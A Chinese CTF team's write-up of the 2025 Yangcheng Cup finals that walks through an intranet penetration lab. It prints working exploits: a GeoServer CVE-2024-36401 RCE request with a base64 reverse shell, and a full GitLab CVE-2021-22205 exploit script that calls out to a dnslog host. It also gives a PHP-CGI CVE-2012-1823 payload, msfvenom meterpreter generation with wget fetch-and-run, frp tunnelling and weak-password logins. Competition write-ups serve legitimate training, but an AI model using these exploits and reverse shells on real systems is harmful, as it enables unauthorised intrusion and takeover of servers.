文章总结： 这篇文档详细记录了2025年羊城杯网络安全大赛决赛的解题过程，主要包括渗透测试和数据安全两大模块。在渗透测试中，参赛者利用Geoserver漏洞(CVE-2024-36401)、GitLab漏洞(CVE-2021-22205)和PHPCGI漏洞(CVE-2012-1823)等多层次攻击路径成功获取多个靶机权限，并通过frp建立内网隧道。数据安全部分涉及实现盲水印功能、敏感数据脱敏、身份证性别信息修复和MySQL数据恢复等技术。文章展示了完整的红队攻击流程和数据处理技术，对网络安全从业者具有较高参考价值。
综合评分： 85
文章分类： 渗透测试,内网渗透,漏洞分析,数据安全,CTF
2025年“羊城杯”网络安全大赛决赛WP
原创
Become&Again-Bec
Become Team
2025年10月27日 19:42
广东
#
合并整理 become 与 Again-become 全部题解，一支专科组第三、一支本科组第七。
本科组成员
追光、cuuemo、yayaliou
三个都是专升本的其实算专科联队?哈哈
以三打四成绩还不错，嘻嘻。
专科组成员
3xp10rer、mm2025、k2n、Al1ln
#
#
渗透
渗透入口，有两个网站10.1.107.30:80的wordpress``10.1.107.30:8080``的geoserver
渗透1
http://10.1.107.30/robots.txt
渗透3
我们通过geoserver漏洞成功进入内网：
漏洞编号CVE-2024-36401
POST /geoserver/wfs HTTP/1.1
Host: 10.1.107.30:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node013via3q11kftb1l560p0k3xcdj6886.node0; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 431
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjUwLjEwNy4xMC8xMDAwMCAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
我们使用反弹shell命令，将shell弹到我们的机器上：YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjUwLjEwNy4xMC8xMDAwMCAwPiYx是base64改成接收端的ip和端口
┌──(kali㉿kali)-[~]
└─$ echo -n "bash -i >&/dev/tcp/10.50.107.10/10000 0>&1"|base64
YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjUwLjEwNy4xMC8xMDAwMCAwPiYx
nc监听端口
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 10000
flag在根目录，拿到shell后直接cat /flag，拿下靶机1
渗透4
进入内网我们开始做信息收集，把fscan上传到linux把fscan放到kali的某个目录下，然后在此端口开启http服务，以至于靶机1可以通过http下载fscan
python -m http.server 8080
然后在被控机器下执行
wget http://10.50.107.10:8080/fscan
chmod +x fscan
信息收集，扫描内网，注意，这里我为了更好统筹靶机、方便渗透，使用了msfconsole，给靶机都上了一个msf的木马
#生成msf木马
msfvenom --payload linux/x64/meterpreter/reverse_tcp lhost=10.50.107.10 lport=6666 -f elf>ycb.elf
wget http://10.50.107.10:8080/ycb.elf #拉取木马
chmod +x ycb.elf
msfconsole #启动
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.50.107.10
lhost => 10.50.107.10
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run
nohup ./ycb.elf 2>&1 & #运行木马
收集到网卡信息
meterpreter > ipconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 51
============
Name : eth0
Hardware MAC : 02:42:c0:a8:be:d2
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.190.210
IPv4 Netmask : 255.255.255.0
然后发现内网网段：192.168.190.0/16``fscan扫描,这里我为了扫的更加完整，扫的是整个B段(xxx.xxx.xxx.xxx/16)
./fscan -h 192.168.190.0/16 >output.txt #这里的>output.txt是我个人习惯输出到一个文件中，fscan似乎就算不加这个也会把结果输出到一个文件中
查看结果
meterpreter > cat output.txt
start infoscan
(icmp) Target 192.168.190.210 is alive
(icmp) Target 192.168.190.1 is alive
(icmp) Target 192.168.190.20 is alive
(icmp) Target 192.168.190.59 is alive
(icmp) Target 192.168.190.254 is alive
(icmp) Target 192.168.200.1 is alive
(icmp) Target 192.168.225.1 is alive
[*] LiveTop 192.168.0.0/16 段存活数量为: 7
[*] LiveTop 192.168.190.0/24 段存活数量为: 5
[*] LiveTop 192.168.200.0/24 段存活数量为: 1
[*] LiveTop 192.168.225.0/24 段存活数量为: 1
[*] Icmp alive hosts len is: 7
192.168.190.20:8000 open
192.168.190.20:9000 open
192.168.190.20:3000 open
192.168.225.1:8080 open
192.168.200.1:8080 open
192.168.190.20:8080 open
192.168.190.1:8080 open
192.168.190.210:7000 open
192.168.190.210:8080 open
192.168.190.20:80 open
192.168.190.1:80 open
192.168.225.1:80 open
192.168.200.1:80 open
192.168.190.59:80 open
192.168.225.1:22 open
192.168.200.1:22 open
192.168.190.20:8001 open
192.168.190.1:22 open
[*] alive ports len is: 18
start vulscan
[*] WebTitle: http://192.168.190.1:8080 code:404 len:866 title:Error 404 - Not Found
[*] WebTitle: http://192.168.190.210:8080 code:404 len:866 title:Error 404 - Not Found
[*] WebTitle: http://192.168.225.1:8080 code:404 len:866 title:Error 404 - Not Found
[*] WebTitle: http://192.168.200.1:8080 code:404 len:866 title:Error 404 - Not Found
[*] WebTitle: http://192.168.190.20:8001 code:200 len:612 title:Welcome to nginx!
[*] WebTitle: http://192.168.190.20:8080 code:404 len:866 title:Error 404 - Not Found
[*] WebTitle: http://192.168.190.20:8000 code:302 len:106 title:None 跳转url: http://192.168.190.20:8000/users/sign_in
[*] WebTitle: http://192.168.190.20:9000 code:302 len:0 title:None 跳转url: http://192.168.190.20:9000/openv/#/
[*] WebTitle: http://192.168.190.20:9000/openv/#/ code:200 len:2721 title:页面跳转中......
[*] WebTitle: http://192.168.190.20:8000/users/sign_in code:200 len:54177 title:Sign in · GitLab
[*] WebTitle: http://192.168.190.1 code:200 len:25245 title:美枢科技 – 美枢科技股份有限公司
[*] WebTitle: http://192.168.190.20:3000 code:200 len:2374 title:Flowise - Low-code LLM apps builder
[*] WebTitle: http://192.168.190.59 code:200 len:25293 title:美枢科技 – 美枢科技股份有限公司
[*] WebTitle: http://192.168.200.1 code:200 len:25245 title:美枢科技 – 美枢科技股份有限公司
[*] WebTitle: http://192.168.225.1 code:200 len:25245 title:美枢科技 – 美枢科技股份有限公司
[*] WebTitle: http://192.168.190.20 code:200 len:25293 title:美枢科技 – 美枢科技股份有限公司
[+] InfoScan:http://192.168.190.20:8000/users/sign_in [GitLab]代理
为了访问内网搭建了隧道，使用了frp，先编辑好配置文件
#frps.toml
bindPort = 7000
#frpc.toml
serverAddr = "127.0.0.1"
serverPort = 7000
[[proxies]]
name = "ycb_1"
type = "tcp"
remotePort = 6000
[proxies.plugin]
type="socks5"
然后再kali中运行frps
nohup ./frps -c frps.toml 2>&1 &
通过上面上传fscan一样的方法，上传frpc 和frpc.toml，运行即可
wget frpc
wget frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml 2>&1 &
运行完我们连接socks5代理地址：10.50.107.10:6000,即可访问内网 发现gitlab，经过多次尝试发现nday cve-2021-22205``http://192.168.190.20:8000/users/sign_in搜索电脑本地的nday库exp:
import requests
from bs4 import BeautifulSoup
import base64
import random
import sys
import os
import argparse
requests.packages.urllib3.disable_warnings()
def title():
print("""
______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \|___ \|___ \ / _ \| ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
\____ | \_/ |_____| |_____|\___/_____|_| |_____|_____|_____|\___/|____/
Author:Al1ex@Heptagram
Github:https://github.com/Al1ex
""")
print('''
验证模式：python CVE-2021-22205.py -v true -t target_url
攻击模式：python CVE-2021-22205.py -a true -t target_url -c command
批量检测：python CVE-2021-22205.py -s true -f file
''')
def check(target_url):
session = requests.Session()
try:
req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req1.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{curl `whoami`.82sm53.dnslog.cn} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print(e)
def attack(target_url,command):
session = requests.Session()
try:
req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req1.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
print("[+] 请到dnslog或主机检查执行结果")
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print(e)
def scan(file):
for url_link in open(file, 'r', encoding='utf-8'):
if url_link.strip() != '':
url_path = format_url(url_link.strip())
check(url_path)
def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL 错误 {0}'.format(url))
def main():
parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ')
parser.add_argument('-t', '--target', type=str, help=' 目标URL ')
parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')
parser.add_argument('-c', '--command', type=str, help=' 执行命令 ')
parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')
parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')
args = parser.parse_args()
verify_model = args.verify
target_url = args.target
attack_model = args.attack
command = args.command
scan_model = args.scan
file = args.file
if verify_model isTrueand target_url !=None:
check(target_url)
elif attack_model isTrueand target_url != Noneand command != None:
attack(target_url,command)
elif scan_model isTrueand file != None:
scan(file)
else:
sys.exit(0)
if __name__ == '__main__':
title()
main()
然后我们使用脚本进行攻击，和上面一样，先反弹shell然后为了更好统筹靶机上传msf木马
python exp.py -a true -c "/bin/bash -i > /dev/tcp/10.50.107.10/10000 0<& 2>&1"
拿到shell后执行cat /flag拿到flag，控制靶机2同样，上传fscan和frp，信息收集并打通代理
注意，这里的内网靶机是出网的，也就是说我们不用通过第一层代理去搭建第二层，而是可以直接使用frpc连接我们的frps,不过我们需要改配置文件，修改代理名和连接端口
#frpc.toml
serverAddr = "127.0.0.1"
serverPort = 7000
[[proxies]]
name = "ycb_2"
type = "tcp"
remotePort = 6001
[proxies.plugin]
type="socks5"
渗透7(二血)
继续渗透192.168.190.0/24段的其他靶机 http://192.168.190.20:9000/openv/?#/dbbackup 存在弱口令：admin:admin这个简单看了一眼，有一个数据库备份的功能，备份并下载下来，打开sql文件，发现flag发现flag后就继续看别的机器了。
发现了个大模型，没进度 http://192.168.190.20:3000 账号密码admin:123456
渗透6
收集靶机2网卡信息，能够发现靶机2存在网段192.168.200.0/24,继续收集内网信息
meterpreter > cat output.txt
start infoscan
192.168.200.20:80 open
192.168.200.15:80 open
192.168.200.1:80 open
192.168.200.1:22 open
192.168.200.20:22 open
192.168.200.200:80 open
192.168.200.20:8000 open
192.168.200.20:8080 open
192.168.200.1:8080 open
192.168.200.15:9000 open
192.168.200.20:9000 open
192.168.200.20:3000 open
192.168.200.20:8001 open
192.168.200.200:8060 open
192.168.200.200:9094 open
[*] alive ports len is: 15
start vulscan
[*] WebTitle: http://192.168.200.200:8060 code:404 len:555 title:404 Not Found
[*] WebTitle: http://192.168.200.20:8001 code:200 len:612 title:Welcome to nginx!
[*] WebTitle: http://192.168.200.20:3000 code:200 len:2374 title:Flowise - Low-code LLM apps builder
[*] WebTitle: http://192.168.200.20:9000 code:302 len:0 title:None 跳转url: http://192.168.200.20:9000/openv/#/
[*] WebTitle: http://192.168.200.20:8080 code:404 len:866 title:Error 404 - Not Found
[+] FCGI:192.168.200.15:9000
Status: 403 Forbidden
X-Powered-By: PHP/7.3.33
Content-type: text/html; charset=UTF-8
Access denied.
stderr:Access to the script '/etc/issue' has been denied (see security.limit_extensions)
plesa try other path,as -path /www/wwwroot/index.php
[*] WebTitle: http://192.168.200.20:9000/openv/#/ code:200 len:2721 title:页面跳转中......
[*] WebTitle: http://192.168.200.15 code:302 len:0 title:None 跳转url: http://192.168.200.15/openv/#/
[*] WebTitle: http://192.168.200.15/openv/#/ code:200 len:2721 title:页面跳转中......
[*] WebTitle: http://192.168.200.1:8080 code:404 len:866 title:Error 404 - Not Found
[*] WebTitle: http://192.168.200.200 code:302 len:102 title:None 跳转url: http://192.168.200.200/users/sign_in
[*] WebTitle: http://192.168.200.20:8000 code:302 len:106 title:None 跳转url: http://192.168.200.20:8000/users/sign_in
[*] WebTitle: http://192.168.200.20 code:200 len:25293 title:美枢科技 – 美枢科技股份有限公司
[*] WebTitle: http://192.168.200.1 code:200 len:25245 title:美枢科技 – 美枢科技股份有限公司
[*] WebTitle: http://192.168.200.200/users/sign_in code:200 len:54157 title:Sign in · GitLab
[+] SSH:192.168.200.20:22:root 123456
[*] WebTitle: http://192.168.200.20:8000/users/sign_in code:200 len:54177 title:Sign in · GitLab
[+] InfoScan:http://192.168.200.200/users/sign_in [GitLab]
[+] InfoScan:http://192.168.200.20:8000/users/sign_in [GitLab]
[+] http://192.168.200.15 poc-yaml-php-cgi-cve-2012-1823
[+] http://192.168.200.20:9000 poc-yaml-php-cgi-cve-2012-1823
已完成 10/17 [-] ssh 192.168.200.1:22 root root123 dial tcp 192.168.200.1:22: i/o timeout
存在一个cgi漏洞cve-2012-1823 http://192.168.200.15 打payload cat /flag
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: http://192.168.200.15
Content-Type: application/x-www-form-urlencoded
<?php echo system("cat /flag");?>
直接回显flag，控制靶机3
渗透8
ssh弱口令 代理流量到192.168.200.0/24，连接ssh``192.168.200.20:22``root:123456
cat /flag拿到flag，控制靶机4
数据运维
运维1
ps -aux看到一个python进程，应该是进程掉了变僵尸进程了，运行了个python怀疑这个，但是没去继续看了继续做ds4了，失误了。
root 124 0.0 0.0 0 0 ? Z 12:50 0:00 [python3] <defunct>
运维5
linux-generic多个PID大量对外SYN_SENT到 10.3.4.66:12615，像木马主动回连攻击者c2的监听端口。 交10.3.4.66:12615对了
netstat -atnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 316/puma 5.1.1 (uni
tcp 105 0 127.0.0.1:9168 0.0.0.0:* LISTEN 410/ruby
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.11:43891 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9236 0.0.0.0:* LISTEN 342/gitaly
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9121 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9187 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9093 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN 312/gitlab-workhors
tcp 244 0 127.0.0.1:9168 127.0.0.1:60958 ESTABLISHED -
tcp 244 0 127.0.0.1:9168 127.0.0.1:60640 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:51414 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:36210 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:38072 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:42492 10.3.4.66:12615 SYN_SENT 30144/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:57622 CLOSE_WAIT -
tcp 0 1 192.168.200.200:58682 10.3.4.66:12615 SYN_SENT 28755/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:44858 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:41318 127.0.0.1:9121 ESTABLISHED -
tcp 0 1 192.168.200.200:36050 10.3.4.66:12615 SYN_SENT 29048/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:37986 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:37578 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:54166 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:32948 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:59546 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:40564 10.3.4.66:12615 SYN_SENT 28651/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:42790 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:34254 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:36094 10.3.4.66:12615 SYN_SENT 30446/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:43620 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:59288 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:42582 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:44084 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:58152 10.3.4.66:12615 SYN_SENT 30286/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:45778 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:38020 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:45114 10.3.4.66:12615 SYN_SENT 28933/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:33116 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:43642 127.0.0.1:9168 FIN_WAIT2 -
tcp 0 1 192.168.200.200:47088 10.3.4.66:12615 SYN_SENT 30382/linux-generic
tcp 0 1 192.168.200.200:42524 10.3.4.66:12615 SYN_SENT 30163/linux-generic
tcp 0 1 192.168.200.200:42452 10.3.4.66:12615 SYN_SENT 5122/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:57636 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:34066 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:34748 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:52728 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:41076 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:43634 127.0.0.1:9168 FIN_WAIT2 -
tcp 0 0 127.0.0.1:9168 127.0.0.1:58486 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:59380 10.3.4.66:12615 SYN_SENT 28823/linux-generic
tcp 0 1 192.168.200.200:59432 10.3.4.66:12615 SYN_SENT 30263/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:40156 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:38540 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:40516 10.3.4.66:12615 SYN_SENT 30339/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:34692 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:58686 10.3.4.66:12615 SYN_SENT 28766/linux-generic
tcp 0 0 127.0.0.1:60974 127.0.0.1:9168 ESTABLISHED -
tcp 245 0 127.0.0.1:9168 127.0.0.1:60616 CLOSE_WAIT -
tcp 0 1 192.168.200.200:54240 10.3.4.66:12615 SYN_SENT 30012/linux-generic
tcp 0 1 192.168.200.200:47302 10.3.4.66:12615 SYN_SENT 28899/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:57220 CLOSE_WAIT 410/ruby
tcp 245 0 127.0.0.1:9168 127.0.0.1:52738 CLOSE_WAIT -
tcp 243 0 127.0.0.1:9168 127.0.0.1:60990 ESTABLISHED -
tcp 0 0 127.0.0.1:9168 127.0.0.1:48618 CLOSE_WAIT 410/ruby
tcp 245 0 127.0.0.1:9168 127.0.0.1:35904 CLOSE_WAIT -
tcp 0 1 192.168.200.200:45174 10.3.4.66:12615 SYN_SENT 28783/linux-generic
tcp 0 1 192.168.200.200:59358 10.3.4.66:12615 SYN_SENT 22190/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:49386 CLOSE_WAIT 410/ruby
tcp 245 0 127.0.0.1:9168 127.0.0.1:52578 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:55480 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:32932 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:45092 10.3.4.66:12615 SYN_SENT 28939/linux-generic
tcp 0 0 127.0.0.1:55420 127.0.0.1:9090 ESTABLISHED -
tcp 244 0 127.0.0.1:9168 127.0.0.1:43710 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:34722 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:40900 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:44068 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:47548 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:33176 10.3.4.66:12615 SYN_SENT 30427/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:36196 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:58702 10.3.4.66:12615 SYN_SENT 5785/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:57256 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:60630 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:40884 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:47536 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:44862 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:53604 CLOSE_WAIT 410/ruby
tcp 245 0 127.0.0.1:9168 127.0.0.1:41048 CLOSE_WAIT -
tcp 0 1 192.168.200.200:36528 10.3.4.66:12615 SYN_SENT 30092/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:46912 CLOSE_WAIT -
tcp 0 1 192.168.200.200:45080 10.3.4.66:12615 SYN_SENT 28596/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:38984 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:58126 10.3.4.66:12615 SYN_SENT 29938/linux-generic
tcp 0 1 192.168.200.200:36514 10.3.4.66:12615 SYN_SENT 30098/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:41466 CLOSE_WAIT -
tcp 0 1 192.168.200.200:58164 10.3.4.66:12615 SYN_SENT 23469/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:37402 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:41800 CLOSE_WAIT -
tcp 0 1 192.168.200.200:47346 10.3.4.66:12615 SYN_SENT 28918/linux-generic
tcp 0 1 192.168.200.200:33182 10.3.4.66:12615 SYN_SENT 30434/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:34242 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:36086 10.3.4.66:12615 SYN_SENT 29054/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:46336 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:37418 CLOSE_WAIT 410/ruby
tcp 245 0 127.0.0.1:9168 127.0.0.1:58888 CLOSE_WAIT -
tcp 0 1 192.168.200.200:59404 10.3.4.66:12615 SYN_SENT 30252/linux-generic
tcp 0 0 127.0.0.1:9187 127.0.0.1:38140 ESTABLISHED -
tcp 0 1 192.168.200.200:59448 10.3.4.66:12615 SYN_SENT 30269/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:44910 CLOSE_WAIT -
tcp 0 1 192.168.200.200:42542 10.3.4.66:12615 SYN_SENT 30179/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:45790 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9093 127.0.0.1:47870 ESTABLISHED -
tcp 0 0 127.0.0.1:9168 127.0.0.1:40558 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9229 127.0.0.1:37542 ESTABLISHED 312/gitlab-workhors
tcp 0 0 127.0.0.1:9168 127.0.0.1:33106 CLOSE_WAIT 410/ruby
tcp 245 0 127.0.0.1:9168 127.0.0.1:56114 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9121 127.0.0.1:41318 ESTABLISHED -
tcp 0 1 192.168.200.200:59336 10.3.4.66:12615 SYN_SENT 30231/linux-generic
tcp 0 1 192.168.200.200:59364 10.3.4.66:12615 SYN_SENT 28817/linux-generic
tcp 0 1 192.168.200.200:58102 10.3.4.66:12615 SYN_SENT 29922/linux-generic
tcp 0 1 192.168.200.200:45164 10.3.4.66:12615 SYN_SENT 28789/linux-generic
tcp 0 1 192.168.200.200:58092 10.3.4.66:12615 SYN_SENT 29909/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:46354 CLOSE_WAIT 410/ruby
tcp 244 0 127.0.0.1:9168 127.0.0.1:58880 CLOSE_WAIT -
tcp 0 1 192.168.200.200:59322 10.3.4.66:12615 SYN_SENT 30189/linux-generic
tcp 0 1 192.168.200.200:47090 10.3.4.66:12615 SYN_SENT 30389/linux-generic
